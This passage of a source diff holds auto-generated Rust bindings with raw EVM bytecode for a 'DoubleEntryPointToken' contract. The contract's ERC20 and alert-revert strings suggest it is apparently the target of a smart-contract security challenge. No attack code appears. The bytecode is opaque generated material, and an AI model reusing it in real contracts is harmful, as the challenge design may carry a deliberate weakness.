\x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\t%V[`\x05T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\xC1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04!V[`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x90\x93U`@Q\x91\x16\x91\x90\x82\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90`\0\x90\xA3PPV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x0B\xA8W\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x0B\x8CV[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x8AW`\0\x80\xFD[`\0\x80`@\x83\x85\x03\x12\x15a\x0B\xF1W`\0\x80\xFD[\x825a\x0B\xFC\x81a\x0B\xC9V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x0C\x1FW`\0\x80\xFD[\x835a\x0C*\x81a\x0B\xC9V[\x92P` \x84\x015a\x0C:\x81a\x0B\xC9V[\x92\x95\x92\x94PPP`@\x91\x90\x91\x015\x90V[`\0` \x82\x84\x03\x12\x15a\x0C]W`\0\x80\xFD[\x815a\x0Ch\x81a\x0B\xC9V[\x93\x92PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x0C\x84W`\0\x80\xFD[\x835a\x0C\x8F\x81a\x0B\xC9V[\x92P` \x84\x015\x91P`@\x84\x015a\x0C\xA6\x81a\x0B\xC9V[\x80\x91PP\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\x0C\xC4W`\0\x80\xFD[\x825a\x0C\xCF\x81a\x0B\xC9V[\x91P` \x83\x015a\x0C\xDF\x81a\x0B\xC9V[\x80\x91PP\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x0C\xFEW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\r\x1EWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x03cWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0` \x82\x84\x03\x12\x15a\rWW`\0\x80\xFD[\x81Qa\x0Ch\x81a\x0B\xC9V[`\0` \x82\x84\x03\x12\x15a\rtW`\0\x80\xFD[PQ\x91\x90PV[`\x01`\x01`\xA0\x1B\x03\x84\x16\x81R`@` \x82\x01\x81\x90R\x81\x01\x82\x90R\x81\x83``\x83\x017`\0\x81\x83\x01``\x90\x81\x01\x91\x90\x91R`\x1F\x90\x92\x01`\x1F\x19\x16\x01\x01\x92\x91PPV\xFE\xA2dipfsX\"\x12 up\x08\x05\xFB^\xC3\xD0Dq\xF1Q\xBD`\x93\xF1-\xCC\xF5\xA9\x12\x81$Nj\x90I;B\xF0\xF9SdsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15b\0\0\x11W`\0\x80\xFD[P`@Qb\0\x12^8\x03\x80b\0\x12^\x839\x81\x01`@\x81\x90Rb\0\x004\x91b\0\x02hV[`@Q\x80`@\x01`@R\x80`\x15\x81R` \x01\x7FDoubleEntryPointToken\0\0\0\0\0\0\0\0\0\0\0\x81RP`@Q\x80`@\x01`@R\x80`\x03\x81R` \x01b\x11\x11U`\xEA\x1B\x81RP\x81`\x03\x90\x81b\0\0\x97\x91\x90b\0\x03iV[P`\x04b\0\0\xA6\x82\x82b\0\x03iV[PPPb\0\0\xC3b\0\0\xBDb\0\x01*` \x1B` \x1CV[b\0\x01.V[`\x08\x80T`\x01`\x01`\xA0\x1B\x03\x80\x87\x16`\x01`\x01`\xA0\x1B\x03\x19\x92\x83\x16\x17\x90\x92U`\t\x80T\x85\x84\x16\x90\x83\x16\x17\x90U`\x07\x80T\x84\x84\x16\x90\x83\x16\x17\x90U`\x06\x80T\x92\x86\x16\x92\x90\x91\x16\x82\x17\x90Ub\0\x01 \x90h\x05k\xC7^-c\x10\0\0b\0\x01\x80V[PPPPb\0\x04]V[3\x90V[`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x90\x93U`@Q\x91\x16\x91\x90\x82\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90`\0\x90\xA3PPV[`\x01`\x01`\xA0\x1B\x03\x82\x16b\0\x01\xDBW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FERC20: mint to the zero address\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[\x80`\x02`\0\x82\x82Tb\0\x01\xEF\x91\x90b\0\x045V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x82\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x80T\x86\x01\x90UQ\x84\x81R\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3PPV[PPPV[\x80Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14b\0\x02cW`\0\x80\xFD[\x91\x90PV[`\0\x80`\0\x80`\x80\x85\x87\x03\x12\x15b\0\x02\x7FW`\0\x80\xFD[b\0\x02\x8A\x85b\0\x02KV[\x93Pb\0\x02\x9A` \x86\x01b\0\x02KV[\x92Pb\0\x02\xAA`@\x86\x01b\0\x02KV[\x91Pb\0\x02\xBA``\x86\x01b\0\x02KV[\x90P\x92\x95\x91\x94P\x92PV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x02\xF0W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x03\x11WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x02FW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x03@WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x03aW\x82\x81U`\x01\x01b\0\x03LV[PPPPPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x03\x85Wb\0\x03\x85b\0\x02\xC5V[b\0\x03\x9D\x81b\0\x03\x96\x84Tb\0\x02\xDBV[\x84b\0\x03\x17V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x03\xD5W`\0\x84\x15b\0\x03\xBCWP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x03aV[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x04\x06W\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x03\xE5V[P\x85\x82\x10\x15b\0\x04%W\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[\x80\x82\x01\x80\x82\x11\x15b\0\x04WWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[a\r\xF1\x80b\0\x04m`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x01!W`\x005`\xE0\x1C\x80cqP\x18\xA6\x11a\0\xADW\x80c\xA9\x05\x9C\xBB\x11a\0qW\x80c\xA9\x05\x9C\xBB\x14a\x02^W\x80c\xD4D\xD8\xA0\x14a\x02qW\x80c\xD8g\x0E\x1F\x14a\x02\x84W\x80c\xDDb\xED>\x14a\x02\x97W\x80c\xF2\xFD\xE3\x8B\x14a\x02\xAAW`\0\x80\xFD[\x80cqP\x18\xA6\x14a\x02\x15W\x80c\x8D\xA5\xCB[\x14a\x02\x1FW\x80c\x95\xD8\x9BA\x14a\x020W\x80c\x9C\xD1\xA1!\x14a\x028W\x80c\xA4W\xC2\xD7\x14a\x02KW`\0\x80\xFD[\x80c&\xFE\x99Q\x11a\0\xF4W\x80c&\xFE\x99Q\x14a\x01\x8CW\x80c1<\xE5g\x14a\x01\xB7W\x80c9P\x93Q\x14a\x01\xC6W\x80cH\xDB_\x89\x14a\x01\xD9W\x80cp\xA0\x821\x14a\x01\xECW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\x01&W\x80c\t^\xA7\xB3\x14a\x01DW\x80c\x18\x16\r\xDD\x14a\x01gW\x80c#\xB8r\xDD\x14a\x01yW[`\0\x80\xFD[a\x01.a\x02\xBDV[`@Qa\x01;\x91\x90a\x0B{V[`@Q\x80\x91\x03\x90\xF3[a\x01Wa\x01R6`\x04a\x0B\xDEV[a\x03OV[`@Q\x90\x15\x15\x81R` \x01a\x01;V[`\x02T[`@Q\x90\x81R` \x01a\x01;V[a\x01Wa\x01\x876`\x04a\x0C\nV[a\x03iV[`\x08Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01;V[`@Q`\x12\x81R` \x01a\x01;V[a\x01Wa\x01\xD46`\x04a\x0B\xDEV[a\x03\x8DV[`\x07Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01ka\x01\xFA6`\x04a\x0CKV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\x02\x1Da\x03\xAFV[\0[`\x05T`\x01`\x01`\xA0\x1B\x03\x16a\x01\x9FV[a\x01.a\x03\xC3V[a\x01Wa\x02F6`\x04a\x0CoV[a\x03\xD2V[a\x01Wa\x02Y6`\x04a\x0B\xDEV[a\x06`V[a\x01Wa\x02l6`\x04a\x0B\xDEV[a\x06\xDBV[`\x06Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\tTa\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01ka\x02\xA56`\x04a\x0C\xB1V[a\x06\xE9V[a\x02\x1Da\x02\xB86`\x04a\x0CKV[a\x07\x14V[```\x03\x80Ta\x02\xCC\x90a\x0C\xEAV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02\xF8\x90a\x0C\xEAV[\x80\x15a\x03EW\x80`\x1F\x10a\x03\x1AWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x03EV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x03(W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x03]\x81\x85\x85a\x07\x8DV[`\x01\x91PP[\x92\x91PPV[`\x003a\x03w\x85\x82\x85a\x08\xB1V[a\x03\x82\x85\x85\x85a\t+V[P`\x01\x94\x93PPPPV[`\x003a\x03]\x81\x85\x85a\x03\xA0\x83\x83a\x06\xE9V[a\x03\xAA\x91\x90a\r$V[a\x07\x8DV[a\x03\xB7a\n\xCFV[a\x03\xC1`\0a\x0B)V[V[```\x04\x80Ta\x02\xCC\x90a\x0C\xEAV[`\x08T`\0\x90`\x01`\x01`\xA0\x1B\x03\x163\x14a\x04*W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x13\x9B\xDD\x08\x1B\x19Y\xD8X\xDEH\x18\xDB\xDB\x9D\x1C\x98X\xDD`j\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\tT`\x07T`@QcO\x08A\xE5`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\x04\x82\x01R`\0\x92\x91\x90\x91\x16\x90c\x9E\x10\x83\xCA\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04{W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04\x9F\x91\x90a\rEV[`\tT`@Qc\x06\xE3\x81}`\xE5\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x80\x84\x16`\x04\x83\x01R\x92\x93P`\0\x92\x90\x91\x16\x90c\xDCp/\xA0\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04\xEFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\x13\x91\x90a\rbV[`\tT`\x07T`@Qc>\x87\xF4\xA3`\xE2\x1B\x81R\x92\x93P`\x01`\x01`\xA0\x1B\x03\x91\x82\x16\x92c\xFA\x1F\xD2\x8C\x92a\x05N\x92\x16\x90`\0\x906\x90`\x04\x01a\r{V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x05hW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x05|W=`\0\x80>=`\0\xFD[PPPPa\x05\x8B\x84\x87\x87a\t+V[`\tT`@Qc\x06\xE3\x81}`\xE5\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\x04\x83\x01R`\x01\x95P\x83\x92\x16\x90c\xDCp/\xA0\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x05\xD9W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xFD\x91\x90a\rbV[\x11\x15a\x06WW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FAlert has been triggered, revert`D\x82\x01Rbing`\xE8\x1B`d\x82\x01R`\x84\x01a\x04!V[PP\x93\x92PPPV[`\x003\x81a\x06n\x82\x86a\x06\xE9V[\x90P\x83\x81\x10\x15a\x06\xCEW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01a\x04!V[a\x03\x82\x82\x86\x86\x84\x03a\x07\x8DV[`\x003a\x03]\x81\x85\x85a\t+V[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[a\x07\x1Ca\n\xCFV[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x07\x81W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04!V[a\x07\x8A\x81a\x0B)V[PV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x07\xEFW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01Rcress`\xE0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x08PW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01Rass`\xF0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[`\0a\x08\xBD\x84\x84a\x06\xE9V[\x90P`\0\x19\x81\x14a\t%W\x81\x81\x10\x15a\t\x18W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x04!V[a\t%\x84\x84\x84\x84\x03a\x07\x8DV[PPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\t\x8FW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: transfer from the zero ad`D\x82\x01Rddress`\xD8\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\t\xF1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\niW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\t%V[`\x05T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\xC1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04!V[`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x90\x93U`@Q\x91\x16\x91\x90\x82\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90`\0\x90\xA3PPV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x0B\xA8W\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x0B\x8CV[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\x8AW`\0\x80\xFD[`\0\x80`@\x83\x85\x03\x12\x15a\x0B\xF1W`\0\x80\xFD[\x825a\x0B\xFC\x81a\x0B\xC9V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x0C\x1FW`\0\x80\xFD[\x835a\x0C*\x81a\x0B\xC9V[\x92P` \x84\x015a\x0C:\x81a\x0B\xC9V[\x92\x95\x92\x94PPP`@\x91\x90\x91\x015\x90V[`\0` \x82\x84\x03\x12\x15a\x0C]W`\0\x80\xFD[\x815a\x0Ch\x81a\x0B\xC9V[\x93\x92PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x0C\x84W`\0\x80\xFD[\x835a\x0C\x8F\x81a\x0B\xC9V[\x92P` \x84\x015\x91P`@\x84\x015a\x0C\xA6\x81a\x0B\xC9V[\x80\x91PP\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\x0C\xC4W`\0\x80\xFD[\x825a\x0C\xCF\x81a\x0B\xC9V[\x91P` \x83\x015a\x0C\xDF\x81a\x0B\xC9V[\x80\x91PP\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x0C\xFEW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\r\x1EWcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x03cWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0` \x82\x84\x03\x12\x15a\rWW`\0\x80\xFD[\x81Qa\x0Ch\x81a\x0B\xC9V[`\0` \x82\x84\x03\x12\x15a\rtW`\0\x80\xFD[PQ\x91\x90PV[`\x01`\x01`\xA0\x1B\x03\x84\x16\x81R`@` \x82\x01\x81\x90R\x81\x01\x82\x90R\x81\x83``\x83\x017`\0\x81\x83\x01``\x90\x81\x01\x91\x90\x91R`\x1F\x90\x92\x01`\x1F\x19\x16\x01\x01\x92\x91PPV\xFE\xA2dipfsX\"\x12 W\xA7U\xBD\x1D\x1E\xA4\xD3\xE2sP\xB3\xC8cw\n\xA4k\r#\xBA\xCA\x18\x95\xD8\xAA\xC4\xC1\x9E\x89\x87^dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static DOUBLEENTRYPOINT_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x01!W`\x005`\xE0\x1C\x80cqP\x18\xA6\x11a\0\xADW\x80c\xA9\x05\x9C\xBB\x11a\0qW\x80c\xA9\x05\x9C\xBB\x14a\x02^W\x80c\xD4D\xD8\xA0\x14a\x02qW\x80c\xD8g\x0E\x1F\x14a\x02\x84W\x80c\xDDb\xED>\x14a\x02\x97W\x80c\xF2\xFD\xE3\x8B\x14a\x02\xAAW`\0\x80\xFD[\x80cqP\x18\xA6\x14a\x02\x15W\x80c\x8D\xA5\xCB[\x14a\x02\x1FW\x80c\x95\xD8\x9BA\x14a\x020W\x80c\x9C\xD1\xA1!\x14a\x028W\x80c\xA4W\xC2\xD7\x14a\x02KW`\0\x80\xFD[\x80c&\xFE\x99Q\x11a\0\xF4W\x80c&\xFE\x99Q\x14a\x01\x8CW\x80c1<\xE5g\x14a\x01\xB7W\x80c9P\x93Q\x14a\x01\xC6W\x80cH\xDB_\x89\x14a\x01\xD9W\x80cp\xA0\x821\x14a\x01\xECW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\x01&W\x80c\t^\xA7\xB3\x14a\x01DW\x80c\x18\x16\r\xDD\x14a\x01gW\x80c#\xB8r\xDD\x14a\x01yW[`\0\x80\xFD[a\x01.a\x02\xBDV[`@Qa\x01;\x91\x90a\x0B{V[`@Q\x80\x91\x03\x90\xF3[a\x01Wa\x01R6`\x04a\x0B\xDEV[a\x03OV[`@Q\x90\x15\x15\x81R` \x01a\x01;V[`\x02T[`@Q\x90\x81R` \x01a\x01;V[a\x01Wa\x01\x876`\x04a\x0C\nV[a\x03iV[`\x08Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01;V[`@Q`\x12\x81R` \x01a\x01;V[a\x01Wa\x01\xD46`\x04a\x0B\xDEV[a\x03\x8DV[`\x07Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01ka\x01\xFA6`\x04a\x0CKV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\x02\x1Da\x03\xAFV[\0[`\x05T`\x01`\x01`\xA0\x1B\x03\x16a\x01\x9FV[a\x01.a\x03\xC3V[a\x01Wa\x02F6`\x04a\x0CoV[a\x03\xD2V[a\x01Wa\x02Y6`\x04a\x0B\xDEV[a\x06`V[a\x01Wa\x02l6`\x04a\x0B\xDEV[a\x06\xDBV[`\x06Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\tTa\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01ka\x02\xA56`\x04a\x0C\xB1V[a\x06\xE9V[a\x02\x1Da\x02\xB86`\x04a\x0CKV[a\x07\x14V[```\x03\x80Ta\x02\xCC\x90a\x0C\xEAV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02\xF8\x90a\x0C\xEAV[\x80\x15a\x03EW\x80`\x1F\x10a\x03\x1AWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x03EV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x03(W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x03]\x81\x85\x85a\x07\x8DV[`\x01\x91PP[\x92\x91PPV[`\x003a\x03w\x85\x82\x85a\x08\xB1V[a\x03\x82\x85\x85\x85a\t+V[P`\x01\x94\x93PPPPV[`\x003a\x03]\x81\x85\x85a\x03\xA0\x83\x83a\x06\xE9V[a\x03\xAA\x91\x90a\r$V[a\x07\x8DV[a\x03\xB7a\n\xCFV[a\x03\xC1`\0a\x0B)V[V[```\x04\x80Ta\x02\xCC\x90a\x0C\xEAV[`\x08T`\0\x90`\x01`\x01`\xA0\x1B\x03\x163\x14a\x04*W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x13\x9B\xDD\x08\x1B\x19Y\xD8X\xDEH\x18\xDB\xDB\x9D\x1C\x98X\xDD`j\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\tT`\x07T`@QcO\x08A\xE5`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\x04\x82\x01R`\0\x92\x91\x90\x91\x16\x90c\x9E\x10\x83\xCA\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04{W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04\x9F\x91\x90a\rEV[`\tT`@Qc\x06\xE3\x81}`\xE5\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x80\x84\x16`\x04\x83\x01R\x92\x93P`\0\x92\x90\x91\x16\x90c\xDCp/\xA0\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04\xEFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\x13\x91\x90a\rbV[`\tT`\x07T`@Qc>\x87\xF4\xA3`\xE2\x1B\x81R\x92\x93P`\x01`\x01`\xA0\x1B\x03\x91\x82\x16\x92c\xFA\x1F\xD2\x8C\x92a\x05N\x92\x16\x90`\0\x906\x90`\x04\x01a\r{V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x05hW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x05|W=`\0\x80>=`\0\xFD[PPPPa\x05\x8B\x84\x87\x87a\t+V[`\tT`@Qc\x06\xE3\x81}`\xE5\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\x04\x83\x01R`\x01\x95P\x83\x92\x16\x90c\xDCp/\xA0\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x05\xD9W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xFD\x91\x90a\rbV[\x11\x15a\x06WW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FAlert has been triggered, revert`D\x82\x01Rbing`\xE8\x1B`d\x82\x01R`\x84\x01a\x04!V[PP\x93\x92PPPV[`\x003\x81a\x06n\x82\x86a\x06\xE9V[\x90P\x83\x81\x10\x15a\x06\xCEW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01a\x04!V[a\x03\x82\x82\x86\x86\x84\x03a\x07\x8DV[`\x003a\x03]\x81\x85\x85a\t+V[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 